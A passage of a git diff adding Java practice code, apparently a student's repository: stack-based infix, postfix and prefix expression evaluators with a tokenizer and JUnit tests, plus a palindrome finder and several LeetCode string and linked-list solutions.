+				num1 -= num2;
+			}
+		}
+		numStack.push(num1 + "");
+	}
+
+	/**
+	 * 单个乘除
+	 * @param numStack
+	 * @param op
+	 */
+	private void doMulOrDivOp(Stack numStack, String op){
+		float num2 = new Float((String)numStack.pop());
+		float num1 = new Float((String)numStack.pop());
+		String result = null;
+		if("*".equals(op)){
+			result = (num1 * num2) + "";
+		}else{
+			result = (num1 / num2) + "";
+		}
+		numStack.push(result);
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..1d679bdb32
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,48 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..a518e43c13
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,44 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	
+	public static List<Token> convert(String expr) {
+		// 3*20+12*5-40/2 --> 3 20 * 12 5 * + 40 2 / -
+		// 10-30+50       --> 10 30 - 50 +
+		List<Token> ret = new ArrayList<>();
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		Stack<Token> opStack = new Stack<>();
+		for(Token token : tokens){
+			if(token.isNumber()){
+				ret.add(token);
+			}else{
+				while(!opStack.isEmpty() && opStack.peek().hasHigherPriority(token)){
+					ret.add(opStack.pop());
+				}
+				opStack.push(token);
+			}
+		}
+		while(!opStack.isEmpty()){
+			ret.add(opStack.pop());
+		}
+		return ret;
+	}
+	
+	public static String toString(List<Token> tokens){
+		StringBuilder sb = new StringBuilder();
+		for(Token token : tokens){
+			sb.append(token.value);
+		}
+		return sb.toString();
+	}
+	
+	public static void main(String[] args) {
+		System.out.println(toString(convert("10-30+50")));
+		System.out.println(toString(convert("3*20+12*5-40/2")));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..d4af19f583
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,62 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		Stack<Float> numStack = new Stack<>();
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr); 
+		for(Token token : tokens) {
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}else{
+				String op = token.value;
+				float num2 = numStack.pop();
+				float num1 = numStack.pop();
+				float result = calculate(op, num1, num2);
+				numStack.push(result);
+			}
+		}
+		return numStack.pop();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	private void reverse(Stack s){
+		Stack tmp = new Stack();
+		int len = s.size();
+		for(int i=0;i<len;i++){
+			Object top = s.pop();
+			while(s.size() > i) {
+				tmp.push(s.pop());
+			}
+			s.push(top);
+			while(tmp.size() > 0){
+				s.push(tmp.pop());
+			}
+		}
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..ad2b6dfd69
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,42 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 6*(3+5+(2+3)*8)
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..b5264d1362
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,85 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		int preContinueOp = 0;
+		int preContinueNum = 0;
+		for(Token token : tokens){
+			if(token.isOperator()) {
+				opStack.push(token);
+				if(preContinueNum > 0){
+					preContinueNum = 0;
+					preContinueOp = 1;
+				}else{
+					preContinueOp++;
+				}
+			}else{
+				numStack.push(new Float(token.getIntValue()));
+				preContinueNum++;
+			}
+			if(preContinueNum >= 2 && preContinueOp > 0){
+				float num2 = numStack.pop();
+				float num1 = numStack.pop();
+				float result = calculate(opStack.pop().value, num1, num2);
+				numStack.push(result);
+				preContinueNum--;
+				preContinueOp--;
+			}
+		}
+		if(!opStack.isEmpty()){
+			reverse(numStack);
+		}
+		while(!opStack.isEmpty()) {
+			String op = opStack.pop().value;
+			float num1 = numStack.pop();
+			float num2 = numStack.pop();
+			float result = calculate(op, num1, num2);
+			numStack.push(result);
+		}
+		return numStack.pop();
+	}
+
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	private void reverse(Stack s){
+		Stack tmp = new Stack();
+		int len = s.size();
+		for(int i=0;i<len;i++){
+			Object top = s.pop();
+			while(s.size() > i) {
+				tmp.push(s.pop());
+			}
+			s.push(top);
+			while(tmp.size() > 0){
+				s.push(tmp.pop());
+			}
+		}
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..8579743fe9
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..bf62a9df26
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,64 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+			if(isBlank(c)){
+				i++;
+				continue;
+			}
+			else if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+	
+	private boolean isBlank(char c){
+		return c == 32;
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..399d3e857e
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java b/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
new file mode 100644
index 0000000000..2de0c4370d
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
@@ -0,0 +1,82 @@
+package com.coding.me;
+
+/**
+ * 回文
+ *
+ */
+public class Palindrome {
+	
+	private static String oddCase(char[] chars, int index) {
+		int maxLength = 1;
+		int i = 1;
+		while((index - i) >= 0 && (index + i) < chars.length - 1){
+			if(chars[index - i] != chars[index + i]){
+				break;
+			}
+			maxLength += 2;
+			i++;
+		}
+		return String.valueOf(chars, index + 1 - i, maxLength);
+	}
+	
+	private static String evenCase(char[] chars, int index) {
+		int maxLength = 0;
+		int i = 0;
+		while((index - i) >= 0 && (index + 1 + i) <= chars.length - 1){
+			if(chars[index - i] != chars[index + 1 + i]){
+				break;
+			}
+			i++;
+			maxLength += 2;
+		}
+		return String.valueOf(chars, index + 1 - i, maxLength);
+	}
+	
+	public static String findLongestPalindrome(String s){
+		char[] chars = s.toCharArray();
+		String longestPalindrome = "";
+		String tmp = "";
+		for(int i=0;i<chars.length;i++){
+			tmp = oddCase(chars, i);
+			if(longestPalindrome.length() < tmp.length()){
+				longestPalindrome = tmp;
+			}
+			tmp = evenCase(chars, i);
+			if(longestPalindrome.length() < tmp.length()){
+				longestPalindrome = tmp;
+			}
+		}
+		return longestPalindrome;
+	}
+	
+	public static void main(String[] args) {
+		System.out.println(findLongestPalindrome("abcbacda"));
+		int[] nums = {3, 123, 78, 90};
+		System.out.println(largestNumber(nums));
+	}
+	
+	public static String largestNumber(int[] nums) {
+
+        String[] array = new String[nums.length];
+        for (int i = 0; i < nums.length; i++) {
+            array[i] = String.valueOf(nums[i]);
+        }
+
+        String temp;
+        for (int i = 0; i < array.length; i++) {
+            for (int j = i + 1; j < array.length; j++) {
+                if ((array[i] + array[j]).compareTo(array[j] + array[i]) < 0) {
+                    temp = array[i];
+                    array[i] = array[j];
+                    array[j] =temp;
+                }
+            }
+        }
+        
+        if (array[0].equals("0")) {
+            return "0";
+        } else {
+            return String.join("", array);
+        }
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java b/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java
new file mode 100644
index 0000000000..ad58cb7730
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java
@@ -0,0 +1,12 @@
+package com.coding.me.book.algorithms;
+
+public class BasicBinarySearch {
+	
+	public int findIndex(int[] nums, int target){
+		if(nums.length == 0) return -1;
+		
+		int mid = nums.length / 2;
+		return 0;
+	}
+	
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java
new file mode 100644
index 0000000000..0ac6d7419f
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/AddTwoNums.java
@@ -0,0 +1,84 @@
+package com.coding.me.leetcode.algorithms;
+
+public class AddTwoNums {
+	
+	public ListNode mySolution(ListNode l1, ListNode l2) {
+        int carry = 0;
+        ListNode ret = null;
+        ListNode first = null;
+        while(l1 != null || l2 != null){
+        	int i = l1 == null?0 : l1.val;
+        	int j = l2 == null?0 : l2.val;
+        	int sum = i + j + carry;
+        	if(sum >= 10){
+        		carry = 1;
+        		sum -= 10;
+        	}else{
+        		carry = 0;
+        	}
+        	if(ret == null){
+        		ret = new ListNode(sum);
+        		first = ret;
+        	}else{
+        		ret.next = new ListNode(sum);
+        		ret = ret.next;
+        	}
+        	if(l1 != null){
+        		l1 = l1.next;
+        	}
+        	if(l2 != null){
+        		l2 = l2.next;
+        	}
+        }
+        if(carry > 0){
+        	ret.next = new ListNode(carry);
+        }
+		return first;
+    }
+	
+	public ListNode leetcodeSolution(ListNode l1, ListNode l2) {
+	    ListNode dummyHead = new ListNode(0);
+	    ListNode p = l1, q = l2, curr = dummyHead;
+	    int carry = 0;
+	    while (p != null || q != null) {
+	        int x = (p != null) ? p.val : 0;
+	        int y = (q != null) ? q.val : 0;
+	        int sum = carry + x + y;
+	        carry = sum / 10;
+	        curr.next = new ListNode(sum % 10);
+	        curr = curr.next;
+	        if (p != null) p = p.next;
+	        if (q != null) q = q.next;
+	    }
+	    if (carry > 0) {
+	        curr.next = new ListNode(carry);
+	    }
+	    return dummyHead.next;
+	}
+	
+	public static void main(String[] args) {
+		ListNode l11 = new ListNode(2);
+		ListNode l12 = new ListNode(4);
+		ListNode l13 = new ListNode(3);
+		l11.next = l12;
+		l12.next = l13;
+		
+		ListNode l21 = new ListNode(5);
+		ListNode l22 = new ListNode(6);
+		ListNode l23 = new ListNode(4);
+		l21.next = l22;
+		l22.next = l23;
+		
+		ListNode ret = new AddTwoNums().mySolution(l11, l21);
+		while(ret != null){
+			System.out.println(ret.val);
+			ret = ret.next;
+		}
+	}
+}
+
+class ListNode {
+	int val;
+	ListNode next;
+	ListNode(int x) { val = x; }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java
new file mode 100644
index 0000000000..910241063f
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java
@@ -0,0 +1,223 @@
+package com.coding.me.leetcode.algorithms;
+
+/**
+ * Write a function to find the longest common prefix string amongst an array of strings.
+ * ["a", "b"] return ""
+ * ["a", "a"] return "a"
+ * ["ac", "ac", "a", "a"] return "a"
+ *
+ */
+public class LongestCommonPrefix {
+	
+	public static String mySolution(String[] strs){
+		if(strs.length == 0) return "";
+		char[] chars = strs[0].toCharArray();
+		int count = chars.length;
+		if(count == 0) return "";
+		char[] tmp;
+		for(int i = 1;i<strs.length;i++){
+			tmp = strs[i].toCharArray();
+			if(tmp.length == 0) return "";
+			for(int j=0;j<tmp.length && j<chars.length;j++){
+				if(chars[j] == tmp[j]) {
+					if(j != tmp.length - 1) continue;
+					else{
+						if(++j < count) count = j;
+						break;
+					}
+				}
+				if(j < count) count = j;
+				break;
+			}
+		}
+		return strs[0].substring(0, count);
+	}
+	
+	/**
+	 * Time complexity:O(S),where S is the sum of all characters in all strings.
+	 * @param strs
+	 * @return
+	 */
+	public static String leetcodeSolution1(String[] strs) {
+	    if (strs.length == 0) return "";
+	    String prefix = strs[0];
+	    for (int i = 1; i < strs.length; i++)
+	        while (strs[i].indexOf(prefix) != 0) {
+	            prefix = prefix.substring(0, prefix.length() - 1);
+	            if (prefix.isEmpty()) return "";
+	        }        
+	    return prefix;
+	}
+	
+	/**
+	 * Time complexity:O(S),where S is the sum of all characters in all strings.
+	 * @param strs
+	 * @return
+	 */
+	public String leetcodeSolution2(String[] strs) {
+	    if (strs == null || strs.length == 0) return "";
+	    for (int i = 0; i < strs[0].length() ; i++){
+	        char c = strs[0].charAt(i);
+	        for (int j = 1; j < strs.length; j ++) {
+	            if (i == strs[j].length() || strs[j].charAt(i) != c)
+	                return strs[0].substring(0, i);             
+	        }
+	    }
+	    return strs[0];
+	}
+	
+	public String leetcodeSolution3(String[] strs) {
+	    if (strs == null || strs.length == 0) return "";    
+	        return longestCommonPrefix(strs, 0 , strs.length - 1);
+	}
+	
+	private int i=1;
+	private int j=1;
+
+	private String longestCommonPrefix(String[] strs, int l, int r) {
+		System.out.println("第" + i++ + "次进入longestCommonPrefix;l = " + l + ",r = " + r);
+	    if (l == r) {
+	        return strs[l];
+	    }
+	    else {
+	        int mid = (l + r)/2;
+	        String lcpLeft =   longestCommonPrefix(strs, l , mid);
+	        String lcpRight =  longestCommonPrefix(strs, mid + 1,r);
+	        return commonPrefix(lcpLeft, lcpRight);
+	   }
+	}
+
+	private String commonPrefix(String left,String right) {
+		System.out.println("第" + j++ + "次进入longestCommonPrefix;left = " + left + ",right = " + right);
+	    int min = Math.min(left.length(), right.length());       
+	    for (int i = 0; i < min; i++) {
+	        if ( left.charAt(i) != right.charAt(i) )
+	            return left.substring(0, i);
+	    }
+	    return left.substring(0, min);
+	}
+	
+	/**
+	 * Time Complexity O(S*log(n))
+	 * Space Complexity O(1)
+	 * @param strs
+	 * @return
+	 */
+	public String leetcodeSolution4(String[] strs) {
+	    if (strs == null || strs.length == 0)
+	        return "";
+	    int minLen = Integer.MAX_VALUE;
+	    for (String str : strs)
+	        minLen = Math.min(minLen, str.length());
+	    int low = 1;
+	    int high = minLen;
+	    while (low <= high) {
+	        int middle = (low + high) / 2;
+	        if (isCommonPrefix(strs, middle))
+	            low = middle + 1;
+	        else
+	            high = middle - 1;
+	    }
+	    return strs[0].substring(0, (low + high) / 2);
+	}
+
+	private boolean isCommonPrefix(String[] strs, int len){
+	    String str1 = strs[0].substring(0,len);
+	    for (int i = 1; i < strs.length; i++)
+	        if (!strs[i].startsWith(str1))
+	            return false;
+	    return true;
+	}
+	
+	public String longestCommonPrefix(String q, String[] strs) {
+	    if (strs == null || strs.length == 0)
+	         return "";  
+	    if (strs.length == 1)
+	         return strs[0];
+	    Trie trie = new Trie();      
+	    for (int i = 1; i < strs.length ; i++) {
+	        trie.insert(strs[i]);
+	    }
+	    return trie.searchLongestPrefix(q);
+	}
+
+	class TrieNode {
+
+	    // R links to node children
+	    private TrieNode[] links;
+
+	    private final int R = 26;
+
+	    private boolean isEnd;
+
+	    public TrieNode() {
+	        links = new TrieNode[R];
+	    }
+
+	    public boolean containsKey(char ch) {
+	        return links[ch -'a'] != null;
+	    }
+	    public TrieNode get(char ch) {
+	        return links[ch -'a'];
+	    }
+	    public void put(char ch, TrieNode node) {
+	        links[ch -'a'] = node;
+	    }
+	    public void setEnd() {
+	        isEnd = true;
+	    }
+	    public boolean isEnd() {
+	        return isEnd;
+	    }
+	    
+	    public int getLinks(){
+	    	return links.length;
+	    }
+	}
+
+	public class Trie {
+
+	    private TrieNode root;
+
+	    public Trie() {
+	        root = new TrieNode();
+	    }
+	    
+	 // Inserts a word into the trie.
+	    public void insert(String word) {
+	        TrieNode node = root;
+	        for (int i = 0; i < word.length(); i++) {
+	            char currentChar = word.charAt(i);
+	            if (!node.containsKey(currentChar)) {
+	                node.put(currentChar, new TrieNode());
+	            }
+	            node = node.get(currentChar);
+	        }
+	        node.setEnd();
+	    }
+
+	//assume methods insert, search, searchPrefix are implemented as it is described
+	//in  https://leetcode.com/articles/implement-trie-prefix-tree/)
+	    private String searchLongestPrefix(String word) {
+	        TrieNode node = root;
+	        StringBuilder prefix = new StringBuilder();
+	        for (int i = 0; i < word.length(); i++) {
+	            char curLetter = word.charAt(i);
+	            if (node.containsKey(curLetter) && (node.getLinks() == 1) && (!node.isEnd())) {
+	                prefix.append(curLetter);
+	                node = node.get(curLetter);
+	            }
+	            else
+	                return prefix.toString();
+
+	         }
+	         return prefix.toString();
+	    }
+	}
+	
+	public static void main(String[] args) {
+		String[] strs = {"abca", "abac", "abdca", "abcac", "abba", "abab"};
+		System.out.println(leetcodeSolution1(strs));
+		System.out.println(new LongestCommonPrefix().leetcodeSolution3(strs));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java
new file mode 100644
index 0000000000..4cc3a5667b
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestSubstringWithoutRepeatingCharacters.java
@@ -0,0 +1,229 @@
+package com.coding.me.leetcode.algorithms;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Given a string, find the length of the longest substring without repeating
+ * characters.
+ * 
+ * Examples:
+ * 
+ * Given "abcabcbb", the answer is "abc", which the length is 3.
+ * 
+ * Given "bbbbb", the answer is "b", with the length of 1.
+ * 
+ * Given "pwwkew", the answer is "wke", with the length of 3. Note that the
+ * answer must be a substring, "pwke" is a subsequence and not a substring.
+ * 
+ * @author hewj
+ *
+ */
+public class LongestSubstringWithoutRepeatingCharacters {
+	
+	public int mySolution(String s) {
+        if(s == null){
+        	return 0;
+        }else if(s.length() <= 1){
+        	return s.length();
+        }
+        char[] chars = s.toCharArray();
+        char[] tmp = new char[chars.length];
+        int maxLength = 1;
+        int length, k;
+        for(int i=0;i<chars.length;i++){
+        	length = 1;
+        	k = 0;
+        	tmp[k++] = chars[i];
+        	end:
+        	for(int j=i+1;j<chars.length;j++){
+        		for(int l=0;l<k;l++){
+        			if(tmp[l] == chars[j]){
+        				break end;
+        			}
+        		}
+        		tmp[k++] = chars[j];
+        		length++;
+        	}
+        	if(maxLength < length){
+        		maxLength = length;
+        	}
+        }
+		return maxLength;
+    }
+	
+	/**
+	 * Time complexity : O(n^3)
+	 * @param s
+	 * @return
+	 */
+	public int leetCodeSolution1(String s) {
+        int n = s.length();
+        int ans = 0;
+        for (int i = 0; i < n; i++)
+            for (int j = i + 1; j <= n; j++)
+                if (allUnique(s, i, j)) ans = Math.max(ans, j - i);
+        return ans;
+    }
+
+    public boolean allUnique(String s, int start, int end) {
+        Set<Character> set = new HashSet<>();
+        for (int i = start; i < end; i++) {
+            Character ch = s.charAt(i);
+            if (set.contains(ch)) return false;
+            set.add(ch);
+        }
+        return true;
+    }
+    
+    /**
+     * Sliding Window
+	 * The naive approach is very straightforward. But it is too slow. So how
+	 * can we optimize it?
+	 * 
+	 * In the naive approaches, we repeatedly check a substring to see if it has
+	 * duplicate character. But it is unnecessary. If a substring S​ij ​​ from
+	 * index i i to j 1 j−1 is already checked to have no duplicate characters.
+	 * We only need to check if s[j] is already in the substring S​ij ​​ .
+	 * 
+	 * To check if a character is already in the substring, we can scan the
+	 * substring, which leads to an O(n^2) algorithm. But we can do better.
+	 * 
+	 * By using HashSet as a sliding window, checking if a character in the
+	 * current can be done in O 1 O(1).
+	 * 
+	 * A sliding window is an abstract concept commonly used in array/string
+	 * problems. A window is a range of elements in the array/string which
+	 * usually defined by the start and end indices, i.e. i j [i,j)
+	 * (left-closed, right-open). A sliding window is a window "slides" its two
+	 * boundaries to the certain direction. For example, if we slide i j [i,j)
+	 * to the right by 1 1 element, then it becomes i 1 j 1 [i+1,j+1)
+	 * (left-closed, right-open).
+	 * 
+	 * Back to our problem. We use HashSet to store the characters in current
+	 * window i j [i,j) ( j i j=i initially). Then we slide the index j j to the
+	 * right. If it is not in the HashSet, we slide j j further. Doing so until
+	 * s[j] is already in the HashSet. At this point, we found the maximum size
+	 * of substrings without duplicate characters start with index i i. If we do
+	 * this for all i i, we get our answer.
+	 * 
+	 * Time complexity : O(2n)=O(n). In the worst case each character will be
+	 * visited twice by i and j.
+	 * 
+	 * Space complexity : O(min(m,n)). Same as the previous approach. We need
+	 * O(k) space for the sliding window, where k is the size of the Set. The
+	 * size of the Set is upper bounded by the size of the string n n and the
+	 * size of the charset/alphabet m m.
+	 * 
+	 * @param s
+	 * @return
+	 */
+    public int leetcodeSolution2(String s) {
+        int n = s.length();
